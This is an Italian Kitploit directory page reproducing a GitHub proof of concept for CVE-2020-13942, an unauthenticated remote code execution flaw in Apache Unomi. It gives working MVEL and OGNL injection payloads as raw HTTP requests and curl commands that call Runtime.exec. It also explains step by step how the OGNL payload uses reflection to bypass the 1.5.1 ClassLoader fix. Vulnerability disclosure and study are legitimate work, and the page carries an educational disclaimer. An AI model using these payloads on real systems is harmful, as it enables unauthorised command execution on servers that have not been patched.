Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-13942 — CVE-2020-13942 POC di RCE non autenticata tramite iniezione MVEL e OGNL | Kitploit
Strumenti/GitHubGitHub/eugenebmx/cve-2020-13942
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubeugenebmx/cve-2020-13942

CVE-2020-13942

CVE-2020-13942 POC di RCE non autenticata tramite iniezione MVEL e OGNL

Vedi Repository
28915 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-13942

CVE-2020-13942 POC di Eugene Rojavski

Post originale del blog sulla vulnerabilità: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/

Ci sono due vettori RCE: tramite iniezione MVEL e tramite iniezione OGNL. Entrambi i vettori prendono di mira codice diverso, sebbene i payload siano relativamente simili. La precedente correzione della CVE https://nvd.nist.gov/vuln/detail/CVE-2020-11975 ha cercato di limitare l'esecuzione delle espressioni OGNL, ma ha completamente trascurato MVEL. La CVE-2020-13942 aggira la correzione apportata nella versione 1.5.1.

Invia le seguenti richieste HTTP usando BurpSuite o curl al percorso context.js\json esposto dal server Unomi e ottieni RCE. Modifica Host e Content-length in base al tuo URL target e al comando OS. Entrambi i POC possono ottenere HTTP/1.1 400 Header Folding in risposta, il che significa che \r\n sono incasinati nel payload, prova a copiare-incollare ancora una volta.

1) MVEL POC

Richiesta HTTP

POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}

Curl

curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'

2) OGNL POC

Il POC OGNL ha bypassato la restrizione ClassLoader introdotta dalla versione 1.5.1. Usando l'API di riflessione di Java, è possibile creare un oggetto senza innescare il metodo ClassLoader.loadClass che limita le espressioni OGNL valutate.

Analisi dell'espressione OGNL del payload:

  1. La prima espressione #runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") crea un oggetto Class di java.lang.Runtime, dove #this è il riferimento all'oggetto context.
  2. La seconda espressione #getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] ottiene l'elenco dei metodi della classe Runtime tramite riflessione e sceglie il metodo getRuntime dall'elenco. La parte {^ #this.name.equals(\"getRuntime\")} dell'espressione cerca un Method con il nome getRuntime e restituisce un elenco dei metodi che soddisfano la condizione; il primo e unico Method di questo elenco è getRuntime.
  3. La terza espressione #runtimeobject = #runtimemethod.invoke(null,null) chiama il metodo getRuntime() e ottiene l'oggetto Runtime.
  4. La quarta espressione (#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) ottiene i metodi della classe Runtime e recupera Runtime.exec() con un singolo argomento String dall'elenco dei metodi.
  5. L'espressione finale #execmethod.invoke(#runtimeobject,\"gnome-calculator\") chiama Runtime.exec() con l'argomento specificato.

Richiesta HTTP

POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"boom"
} 

Curl

curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'

Disclaimer

Tutte le informazioni fornite in questa pagina sono solo a scopo educativo. Le informazioni su questo sito web dovrebbero essere utilizzate solo per migliorare la sicurezza dei tuoi sistemi informatici e non per causare attacchi dannosi o distruttivi.

Non dovresti abusare di queste informazioni per ottenere accesso non autorizzato a sistemi informatici. Inoltre, tieni presente che eseguire tentativi di hacking su computer che non possiedi, senza autorizzazione scritta dei proprietari, è illegale.

Non sarò responsabile per alcun danno diretto o indiretto causato dall'uso delle informazioni fornite su questo sito web.

Scarica lo strumento